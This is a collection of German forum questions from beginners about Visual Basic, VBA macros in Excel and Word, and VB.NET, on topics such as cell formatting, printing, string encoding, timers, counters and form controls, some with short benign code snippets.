Muss ich da noch irgendwas einstellen, damit es funktioniert oder was mach ich falsch?

Hallo,

ich habe ein VBA-Script, in welchem die nächste freie Zeile gesucht wird.

In dieser Zeile sollen automatisch "alle Rahmenlinien" festgelegt werden.

Muss nicht unbedingt per VBA gelöst werden, darf auch gerne eine Regel sein.

Die Zellen vorzuformatieren möchte ich nicht.

hi,

wenn man 2022 versucht VS Basic zu installieren bekommt man diesen Error:

Wie kann man diesen lösen?

MfG Lenn

Tag zusammen,

Ich hätte da mal ein Frage. Kennt jemand so eine art forum wo man Programmiererische Leistungen an-nehmen/bieten kann. Bin gerade am Programmieren eines Browsers und bräuchte jemanden der Visual Studio, HTML, Javascript oder Basics kann.

Danke schonmal im voraus.

Hallo zusammen,

ich möchte in Excel mithilfe eines Buttons und VBA bestimmte Zeilen ausblenden.

Das ganze soll wie folgt wirken:

Klickt man auf den Button sucht Excel nach Zeilen die in Spalte C den Inhalt "ohne Angaben" enthalten und blendet alle Zeilen aus welche diesen Text in Zelle C enthalten.

Wie kann man das realisieren?

Dirk

Bei Tabellen ist es mir schon gelungen mit ActiveDocument.Tables.

Wie kann ich Checkboxen (Active X Steuerelement) und andere Elemente ansprechen?

Hallo zusammen

ich benötige Hilfe und zwar habe ich in verschiedenen Zeilen z.B .... [Kundenname] [Datum] stehen und würde jetzt gerne diese automatisch mit Inhalten einer bestimmten Zelle austauschen sobald man dort etwas einfügt. z.B Vertrag [Kundenname] (Zelle G3) wird zu Vertrag Gutefrage (da aus A1 "Gutefrage") 

ist das verständlich? ich habe leider so gar keine Ahnung was Visual Basic angeht 

Danke euch!

Wann verwende ich beim Deklarieren der Variablen was?

Wie kommt ihr damit klar? Wo kann ich das lernen? Also kennt ihr gute Kanäle auf YouTube?

Servus,

mit folgendem Code kann ich meine Print Form drucken.

  If PrintDialog1.ShowDialog() = Windows.Forms.DialogResult.OK
  Then
    PrintDocument1.DocumentName = "Das ist ein Document"
    PrintDocument1.Print()
  End If

  Me.ShowInTaskbar = False
End Sub

Private Sub PrintDocument1_PrintPage(ByVal sender As System.Object, ByVal e As System.Drawing.Printing.PrintPageEventArgs) _
  Handles PrintDocument1.PrintPage
  Dim bmp As New Bitmap(Me.Width, Me.Height)
  Me.DrawToBitmap(bmp, New Rectangle(0, 0, Me.Width, Me.Height))
  ' e.Graphics.ScaleTransform(0.2, 0.2)
  e.Graphics.DrawImage(bmp, 0, 0)
  Me.ShowInTaskbar = False
End Sub

Wie kann ich festlegen, dass immer der Microsoft PDF Creator verwendet werden soll und dass die Datei einen bestimmten Namen hat sowie an einer bestimmten Stelle gespeichert wird?

Der obige Code geht, aber man muss immer selber den Drucker, den Namen und den Speicherort wählen. Das soll aber automatisch gehen. Habt ihr eine Lösung?

Hallo ich hab ein Problem wenn ich in Visual Studio ein Code eingebe und strg+space drücke wird dieser code nicht automatisch vorgeschlagen aber wenn ich auf yt schaue wird der code im video vorgeschlagen an was kann das liegen?

So würde ich es gerne haben:

So siehts bei mir aus:

Hallo ihr,

ich habe ein Problem mit einer Excel Anwendung, die ich machen möchte.

Ich habe einige Zellen in Excel, die jeweils einige Nummern oder Kennzeichnungen enthalten.

Für verschiedene Fälle muss ich einige dieser Nummern in eine Liste herausschreiben.

Ich möchte gerne, dass wenn ich auf eine Zelle Klicke oder Doppelklicke, dass sich der Inhalt dieser Aktiven Zelle in die Zwischenablage kopiert. Im Besten Fall fügt sich die Zwischenablage dann untereinander in einem Excel Blatt wieder ein, sodass ich nacheinander die verschiedenen Zellen anklicken kann und meine Liste so zusammenstellen kann.

Habe in VBA schon versucht, sowas zu realisieren, aber bis jetzt hat das nicht so funktioniert.

Ich hoffe, jemand kann mir weiterhelfen.

Vielen Dank!

Hi, ich bin Pogrammierer und kann sehr viele Sprachen: C#, Node js, python, Javascript usw. Nur möchte ich gerne wissen, wie beliebt die beliebige Sprache ist.

Wie kann ich meine eingetragenen Werte der Kombobox sortieren, die ich mit .addItem eingetragen habe?

Hallo,

ich habe eine Formularseite gebastelt, bei der eingegebene Daten in eine Liste eingefügt werden. Nun möchte ich, dass das Makro, welches die Daten in das andere Blatt in eine neue Zeile kopiert hat, auf der Formularseite die Zeilennummer in ein Feld einträgt.

Die Eingabeseite heißt "Eingaben" und das Blatt mit der Liste heißt "Liste"

Beispiel:

Ich gebe Daten ein, klicke den Button an auf dem das Makro liegt, und die Daten werden nach "Liste" in Zeile 10 kopiert (während Zeilen 5-9 schon Daten enthalten aus vorherigen Übertragungen).

In dem selben Makro soll nun am Ende die Nummer, die in A10 steht (In Zeile A stehen von mir eigens vergebene Nummern), auf der Eingabeseite in das Feld B10 kopiert werden.

Anders formuliert:

Spalte A (Lliste) enthält Reklamationsnummern, fortlaufend. Beginnend mit RK20220001.

Wenn ich jetzt in der "Eingaben"-Seite meine Daten erfasse und das Makro nutze, werden die eingegebenen Daten in die "Liste" kopiert. Es wird automatisch immer die letzte Zeile gefüllt, ab Spalte B.

Nun möchte ich, dass die Reklamationsnr., die neben den zuletzt eingefügten Daten steht, in das "Eingaben"-Blatt in das Feld B10 kopiert wird.

Denn die Eingabefelder sind bereits so formatiert, dass man ein Etikett drucken kann, das dann an die Ware kann. Damit man nicht immer manuell die Nummer raus suchen muss, soll sie halt automatisch dort rein.

Hallo,

Ich würde gerne wissen wie ich es machen kann das man durch Button also interaktive Tasten einen Text denn man im Button definiert hat in Excel oder Sheets in einer bestimmten Zelle einsetzen kann?

Die frage ist dann auch noch ob ich mit Powerpoint diese befehle eingeben kann oder ein Programm nutzen kann wie Adobe Captivate ? Das ding ist das Ich nicht genau weiß wie ich das einbinde sodass ein Button in Powerpoint einen Text in Excel oder Sheets einfügt ? Mir ist klar das man in Excel auch Buttons erstellen kann aber ich ich will das dass einfügen alles im Hintergrund passiert. Oder kann ich vllt. auch über Powerpoint oder Adobe Captivate auch sowas sagen wie bitte diesen Makro in Sheets auslösen also nur denn Befehl durch ein Button geben? Der Button selbst sich aber auf einem anderen Programm sich befindet.

Für eine Softwareschnittstelle, die ich gerade selbst in vb.net programmiere muss ich in einen String:

z.B. "Münsterländer Aperitif 16%"

Die Umlaute in Unicode umwandeln. Laut Dokumentation sollte das obige Beispiel dann So aussehen "M\u00fcnsterl\u00e4nder Aperitif 16%"

Zur Zeit versuche ich das so:

  Public Shared Function ToUnicode(Text As String) As String
    Dim UnicodeArray As Byte() = Encoding.Unicode.GetBytes(Text)
    Dim UnicodeString As String = Encoding.UTF8.GetString(UnicodeArray, 0, UnicodeArray.Length)
    Return UnicodeString
  End Function

Leider sieht der Inhalt des Strings dann so aus:

"M" & vbNullChar & "�" & vbNullChar & "n" & vbNullChar & "s" & vbNullChar & "t" & vbNullChar & "e" & vbNullChar & "r" & vbNullChar & "l" & vbNullChar & "�" & vbNullChar & "n" & vbNullChar & "d" & vbNullChar & "e" & vbNullChar & "r" & vbNullChar & " " & vbNu...

Was nicht wirklich hilfreich ist. Ich hab' keine Ahnung warum jedes zweite Zeichen NULL ist und die Coke Bottles "�" sind ja auch wenig hilfreich.

Hat jemand eine Idee für mich

Ich benötige Hilfe bei einem Programm.

Ich möchte in Visual Basic eine Query Abfrage machen und das Ergebnis (Richtig gegliedert) in eine .csv Datei schreiben. Die Datenbank habe ich via Visual-Studio eingebunden.

Ich will von QBASIC auf eine modernere Programmiersprache umsteigen und wollte fragen, ob Python oder Visual Basic .NET besser ist.

Ich habe ein Listenelement, das drei Elemente "Köln, Berlin, München" enthält.

Nachdem auf ein Element geklickt wird, soll es in Zelle E5 angezeigt werden. Mehrauswahl soll möglich sein. Die Einträge sollen durch ein Komma getrennt sein. Nachdem ein Element abgewählt wurde, soll es nicht mehr in Zelle E5 stehen.

Weiß jemand, wie man das umsetzen kann? Ich kenne mich nicht VB nicht aus...

Hey, ich programmiere aktuell etwas in Visual Basic .NET, wo ich den Value von zwei DateTimePicker subtrahieren und als Sekunden in einem Label als String anzeigen möchte.

DateTimePicker1.Value = DateTime.Now
Dim value1 As DateTime = DateTimePicker1.Value
Dim value2 As DateTime = DateTimePicker2.Value
Dim timeSpan As TimeSpan = value1 - value2
Label1.Text = Math.Ceiling(timeSpan.TotalSeconds)

Bisher hat der oben gelistete Code perfekt funktioniert, um die Differenz der beiden DateTimePicker herauszufinden und als Sekunden darzustellen.

Nun habe ich aber die DateTimePicker als Custom Format eingestellt.

DateTimePicker1.CustomFormat = "dd.MM.yyyy hh:mm:ss"
DateTimePicker2.CustomFormat = "dd.MM.yyyy hh:mm:ss"

Und jetzt funktioniert mein Code nicht mehr und es ergibt sich die Fehlermeldung:

System.FormatException: "Die Eingabezeichenfolge hat das falsche Format."

wenn ich versuche die Differenz berechnen zu lassen.

Hat jemand eine Lösung? Ich wäre sehr dankbar!

Ich weiß, die Frage klingt ein wenig kompliziert, aber ich habe das ganze Internet danach abgesucht und nichts gefunden.

Ich möchte es schaffen, ein Control zu haben, (oder irgendwas anderes was genau das tut,) aus dem man eine Datei heraus ziehen kann, um Sie z.B. in einem anderen Programm Abzulegen.

Das läuft dann ungefähr so ab:

Ich habe eine weiße Form mit einem schwarzem Viereck in der Mitte. Ich fahre mit meinem Cursor über das schwarze Viereck und drücke dann die linke Maustaste und halte gedrückt. Jetzt habe ich eine vorher bestimmte Datei "gefischt" und kann diese nun mithilfe von Drag and Drop in ein anderes Fenster, oder in ein Explorer Fenster ziehen und ablegen. (Die Datei hat sich dupliziert.)

Ich hoffe, einer der vielen Experten hier kann mir mit meinem Problem weiterhelfen!

Hallo,

ich habe ein Makro aufgezeichnet und ich möchte dass die Formeln welche ich geschrieben habe immer von der aktiven Tabelle genommen werden.

Dadurch, dass ich das Makro aufgezeichnet habe, ist mir erst später aufgefallen, dass in den Formeln in den Zellen immer der Tabellenname steht: =WENNFEHLER(SVERWEIS(30;'42297033'!A5:T5;3;);"")

Ich möchte aber, dass diese Formeln immer die Tabelle nehmen, in der das Makro ausgeführt wurde.

Im Makro steht z.B. folgendes:

ActiveCell.FormulaR1C1 = _

    "=IFERROR(VLOOKUP(30,'42297033'!R[3]C[-2]:R[3]C[17],3,),"""")"

'42297033' ist in dem Fall der Tabellennamen.

Noch zur Info was das gesamte Makro macht:

Ich erstelle eine neue Tabelle -> übertrage gewisse Daten von der alten Tabelle in die neue und das mit Formeln wie SVerweis() oder Wenn()

Kann ich Makro den Tabellenname durch etwas ersetzen, damit es richtig funktioniert?

Wäre schön wenn mir jemand helfen könnte, ich muss das spontan machen und bin ganz neu bei VBA

LG Benni

Moin,

ich habe eine Tabelle eine Excel Tabelle eines Händlers, bei welcher ich nach folgendem suchen muss

• Spalte Rücksendung : Wenn ja, dann soll diese Spalte in das Tabellenplatt "Rücksendungen" kopiert werden
• Zielland : Wenn Deutschland, dann in Tabelle Deutschland kopieren, ansonsten in Tabelle Ausland

Wie ich die Zeieln kopiere usw habe ich schon draußen, alelrdings habe ich noch viel mehr Sortierkrietreiun und die beiden nur Beispiele sind, würde ich gerne das ganze in einer Funktion programmieren :

--> If "Spalte" = "Suchkritriterium" Then --> Kopieren nach "Ziel"

Allerdings hapert es hier unter anderem daran, wie ich die Funktion dann mit den jeweiligen Argumenten aufrufe.

Ich hoffe ihr könnt mir helfen .... ist sehr wichtig ^^

Danke schonmal :)

Hallo,

ich würde gerne mit eine .vbs den Wert aus einer speziellen Zelle einer Excel auslesen und in eine TXT-Datei schreiben. Kann mir jemand ein einfaches Beispiel liefern?
Danke.

Hallo Community,

ich lerne gerade über das Buch "Einstieg in C++ von Thomas Theis". Darin wird mir gerade der Operator += , -=, /= , *= und ++ sowie -- beigebracht. Ich verstehe aber nicht ganz wie sich die Rechnung umsetzt. Habe es mir schon mehrmals durchgelesen aber verstehe es nicht.

Der Code ist folgender den ich geschrieben habe :

wieso sind die Ergebnisse jetzt die welche die Konsole rausgibt?

verstehe das mathematisch nicht. Im Buch steht: Der Inkrement-Operator ++ führt zu einer Erhöhung des Werts einer Variablen um 1. anzahl=anzahl+1 wird also verkürzt. anzahl=anzahl-1 wird durch den Dekrement-Operator -- verkürzt.

Was meint der mit "verkürzen" ????

Kann mir einer diese Formulierung erklären bitte?

Moin zusammen,

folgendes Problem :

ich habe ein 8 Seiten langes Dokument. Seite 1 und 8 sollen immer gedruckt werden.

Bei den anderen Seiten ist es davon abhängig, welche ToggleButtons in der Userform vorab auf TRUE gestellt wurden.

Button1 = Seite 2, 3

Button2 = Seite 4, 5

Button3 = Seite 6, 7

Also auch zum Beipsiel:

Button1 + Button2 = True, Button3 = False --> Seite 2, 3, 4, 5 sollen gedruckt werden.

Da alle möglichen Fälle einzeln zu programmieren sehr unübersichtlich und aufwendig ist, wollte ich mal fragen, ob einer von euch eine einfacherer Lösung kennt.

Danke schonmal ^^

Moin zusammen,

in miener Word-Userform kann man Adressdaten eingeben.

Sollte die eingegebene PLZ bereits in der dazugehörigen Exceltabelle vorhanden sein, werden die restlichen Daten (Ort, Anschrift, Name) automatsich in Word übernommen

Den Teil der PRogrammierung hab ich und es funktioniert.

Jetzt hätte ich gerne, dass wenn die eingeegebene PLZ nicht in der Exceltabelle gefunden wird und ich somit händisch Ort, Anschrift und Name eingebe, dass diese Daten als Ergänzung in die Exceltabelle aufgenommen werden.

Danke ^^

Hallo Leute

Ich arbeite zurzeit an einem Visual Basic Project und habe ein Panel erstellt und wenn man einen Button auf diesem drückt sollte sich die "batch" Datei ausführen. Dies passiert aber nicht. Wenn mir jemand helfen kann währe das sehr Nett.

Bild zum Problem/Frage ist angehängt

Lg Hustensaft

Sollte man noch Visual Basic lernen, oder ist die Programmiersprache "tot"?

Guten Tag,

Ich verzweifle grad an der wahrscheinlichsten einfachsten Frage.

Wie zähle ich eine Zahl hoch, wenn ich auf ein Button drücke. Habe es immer mit

counter = counter + 1 

oder

counter += 1

gemacht. Funktioniert diesmal auch, aber nur 1x | Ich drücke auf den Button und er zählt von 0 auf 1 hoch. Drücke ich ihn nochmal, geht es nicht mehr und bleibt bei der 1

Code:

    Private Sub btn_startGame_Click(sender As Object, e As EventArgs) Handles btn_startGame.Click
        counter()
    End Sub

    Public Sub counter()
        Dim counter As Integer = 0
        counter = counter + 1
        Label1.Text = counter
    End Sub

Ich und ein Kollege haben angefangen mit Visual Studio Code, wir haben auch schon begonnen mit Live Share aber haben noch nicht rausgefunden wie man die Rechte verteilt.(Danke im voraus)

Hallo zusammen,

ich arbeite gerade an einer UserForm, mittels welcher der User Daten zu einer Person eingeben kann, welche automatisch ins Dokument eingefügt werden.

Sollstnad : "Name : Hans Peter" und sobald das Makro nochmal ausgeführt wird, soll Hans Peter z.B. durch Michale Maier ersetzt werden.

Jedoch sieht das beim zweiten Ausführen des Makros so aus : "Name : Hans PeterMichael Maier"

Also die eingabe wird hinter die erste Eingabe gesetzt, statt sie zu erseten

Mein code :

Private Sub CB_Submit_Click()

 Dim v_Name As Range

   Set v_Name = ActiveDocument.Bookmarks("BS_Name").Range

   v_Name.Text = Me.TB_Name.Value

UserForm.Hide

End Sub

Danke schonmal für eure Antworten :)

Das mit der Workbench ausgeliefert wurde. Bezogen auf die Syntax und Co.

Hey,

ich habe gerade ein Problem, und ich verstehe absolut nicht warum. Ich verwende LockBit schon seit langem, und frage mich wirklich warum ich zur Zeit diesen Fehler habe. Nebenbei läuft in meinem Projekt seperat noch ein anderer Thread, wo die Lockbit Methode keinen Fehler macht. Liegt es eventuell daran?

Hier einmal ein Vergleich :

Über die Methode bmp.SetPixel

Code : PasteBin

Über LockBits

Code : Pastebin

Wenn ich bei der Lockbit Methode die Mitte der Bitmap mit einem Pixel rot Färbe, ist es nur leider nicht die Mitte. Für mich sieht es aus, als würde etwas mit dem offset nicht stimmen. Kann doch aber eigentlich nicht sein, da ich genau die gleiche Methode auch bei anderen Bildern verwende.

Einzig alleine das ich eventuell nicht 2 LockBit Funktionen parallel laufen lassen darf würde mir einfallen. Aber ob das stimmt weiß ich nicht.

Oder enthält meine Lockbit - Methode allgemeine Fehler?

LG

Hallo, ich möchte in vb.net Programm xy eine Sicherung einbauen, welche nach einer Stunde immer wieder ausgeführt wird. Das Programm führt Access Datenbanken aus (start exe) und soll diese auch sichern. Die sicherung habe ich bereits mit einem Timer versucht, jedoch ist es nicht möglich die verbleibenden Zeit des Timers auszulesen. Hat irgendwer eine bessere Idee? Danke schonmal :)

Hier der Code:

Module Program
    Sub Main()

        Dim QuellDatei As String
        Dim Zeile As Integer
        Dim Inhalt As String
        Dim Informationen() As String
        Dim Fileexport() As String
        Dim i As Integer
        Dim Zieldatei As String

        Zieldatei = "H:\Desktop\Programme\MSVS Projects\ASCII Converter\tmp\Exportiert.txt"
        QuellDatei = "H:\Desktop\Programme\MSVS Projects\ASCII Converter\tmp\w0000020.e01"

        FileOpen(1, QuellDatei, OpenMode.Input)
        FileOpen(2, Zieldatei, OpenMode.Output)

        Do While Not EOF(1)

            Inhalt = LineInput(1)

            Informationen = Split(Inhalt, ";")

            If Informationen(0) = 500 Then

                PrintLine(2, Informationen(0) & ";" & Informationen(3) & ";" & Informationen(8) & ";" & Informationen(9) & ";" & Informationen(10))

            End If

        Loop

        FileClose(1)
        FileClose(2)

    End Sub
End Module

Hab auf SSD 91GB noch frei und auf HDD noch 1TB.

Hallo

ich möchte eben etwas installieren. Ein update zu einem Tool welches ich bereits seit Jahren benutze. Nun wollte ich das update dafür installieren und der Setup Klient fragt mich nach der Datei "vc_red.msi". Nur kann ich diese Datei nirgends finden und google Suchergebnisse verwirren mich da die viele Hinweise darauf finde man solle die Datei neu installieren bzw neu runterladen, aber nirgends steht wo der Link dafür sein soll.
Kann mir jemand helfen wie ich das Problem beheb und wie ich diese Datei installiere??

danke

Hallo

Ich versuche derzeit, zur übung einen Taschenrechner zu Programmieren, denn ich bin noch Anfänger. Aber ich stehe auf dem Schlauch. Wie kann ich die Zahlen in L1, L3 und tb.Text, die ich als Variablen zahl, zahl2 und zahl3 nochmal habe, mit einander verrechnen?

lg

Hallo,

Ist es irgendwie möglich, dass wenn ich in Visual Basic ein Fenster habe dieses immer im Vordergrund ist und andere Fenster des gleichen Programms erst geschlossen werden können, wenn das Fenster im Vordergrund geschlossen wurde? Also so wie mit MsgBoxen?

Danke im Vorraus ^^

Louis

Brauche Hilfe mit einigen Formular Kontrollkästchen: Sie soll bei aktiv die Hintergrundfarbe grün (erledigt) erhalten. Ich habe es schon per macro versucht und auch per VBA, aber es scheint das ich dafür Profi-Hilfe brauche. Bitte gebt mir einen Tip wie ich das hin bekomme. Ich habe ein Formular das 20 Kontrollkästchen aus der Steuerelemente (Entwicklertools) hat und alle die, die aktiviert wurden sollen als grüne Kästchen erscheinen. Besten Dank vorab

Hallo zusammen!

Ich möchte bei einem Visual Basic Formular ein Textfeld erstellen wo automatisch der Benutzername eingetragen wird von dem der das Formular ausführt. Wie mach ich das bzw. wie lautet der Befehl?

Danke!

Helluw

Wie vielleicht einige wissen, gibt es das Skript Visual Basic Skript.

Ich versuche momentan damit etwas zu Programmieren, und bei dem sollte das vorkommen:

_________________________________________

-Hintergrundbild wechsel

-Ladebalken/Progressbar

_________________________________________

Über Google habe ich nichts darüber herausgefunden, wie man mit VBS das Hintergrundbild wechseln kann. Das Programm soll den Hintergrund verändern, damit es zu der Atmosphäre passt :3 . Den Ladebalken konnte ich zwar mit Visual Studio Express 2010 erstellen, jedoch weiß ich nicht wie ich ihn in eine VBS Datei einfügen kann, bzw. wie ich es Programmiere dass es die Visual Studio Express Datei auch ausführt...

Für alle die es intressiert:

ich Programmiere einen "Fake Virus", der keinen Schaden anrichtet, und nur dazu da ist andere zu erschrecken .

Kann mir jemand Helfen?

:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:3:

Ich habe ein project (in der programmier Sprache visual basic ) und in diesen Programmen ist auch ein passwort gespeichert und was kann ich machen das man mit .net reflector denn code / das Passwort nicht mehr auslesen kann ?

Keine Ahnung warum, aber wenn ich bei Visual Studio (Visual Basic FORMS) irgend ein Objekt (um-) benennen will, z.B ein Button, oder die Form selber, dann kommt immer die Fehlermeldung:

"ungültiger Eigenschaftswert" . "Der Bezeichner Exit ist ungültig."

-> Finde leider keine Lösung im Internet.

wenn ich aber z.B den Button "Raus" benenne, kommt keine Fehlermeldung, aber der Name wird nicht visuell auf den Button übertragen, wenn ihr versteht. Also lustigerweise, kommt keine Fehlermeldung, wenn ich etwas so benenne, wie ich es NICHT will, aber selbst das klappt schlussendlich nicht ^^

Bin mich an das VS 2010 gewöhnt von damals. Hab Jahrelang nicht mehr damit gearbeitet.

Hey

Ich möchte in VB einen Powershell-Command ausführen lassen.

Leider funktioniert es mit: Shell(".....") nicht.

Weiß hier jemand wie das funktioniert?

Ich habe schon eine Extension installiert, aber es wird mir irgendwie in VBCode angezeigt (was ich mir auch dafür herunterladen musste) und ich weiß überhaupt nicht wie man damit umgeht und ob es überhaupt etwas mit VB zu tun hat...

Vielen Dank im Voraus!

Btw ich schreibe ein Programm mit dem man die Zeitstempel von Dateien ändern kann (zB Erstellt: 2030). Aber ich glaube das spielt hier keine Rolle...

Hallo,

Ich arbeite gerade an einer App, die Text in eine Richtextbox spammt, 2 verschiedene Lines jeweils abwechselnd mit einer verzögerung von 0.5 Sekunden. Den Code dazu seht ihr hier: (VB.net)

Ich weiß jedoch nicht, wie man im Bild sieht, wie ich das mit der 0.5 Sekunden Wartezeit geht. Wenn ich Thread.Sleep benutze, freezt die Anwendung komplett. Kennt jemand eine Lösung, wo die Anwendung nicht freezt und kann mir auch den Code schicken und sagen wo ich den einfügen soll? Bin neu bei VB.net.

Danke im Vorraus,

Louis

Guten Tag. Ich nutze seit ca. 1 Monat nun Visual Studio und programmiere kleine Apps mit Visual Basic. Nun wollte ich in mein Programm etwas einbauen: Die Funktion soll, wenn man sie anklickt, nach einer neuen Version suchen & diese als Download anzeigen. Ich möchte dafür jedoch nicht den Visual Studio Updater, den es gibt, benutzen. Gibt es eine Möglichkeit? Ich habe mal bei Minecraft-Mods & Plugins gesehen, dass die beim Serverstart auf Github oder so nach neuen Versionen suchen und diese als Link anzeigen. Kann mir jemand helfen?

Danke im Vorraus,

Louis

Ich weiß, dass ich "Process.start("Pfad zum Programm")" in Visual Basic schreiben kann.

Doch wie kann ich bestimmen, an welcher position das programm starten soll, ob es maximiert oder minimiert starten soll und etc.

Ich freue mich auf Antworten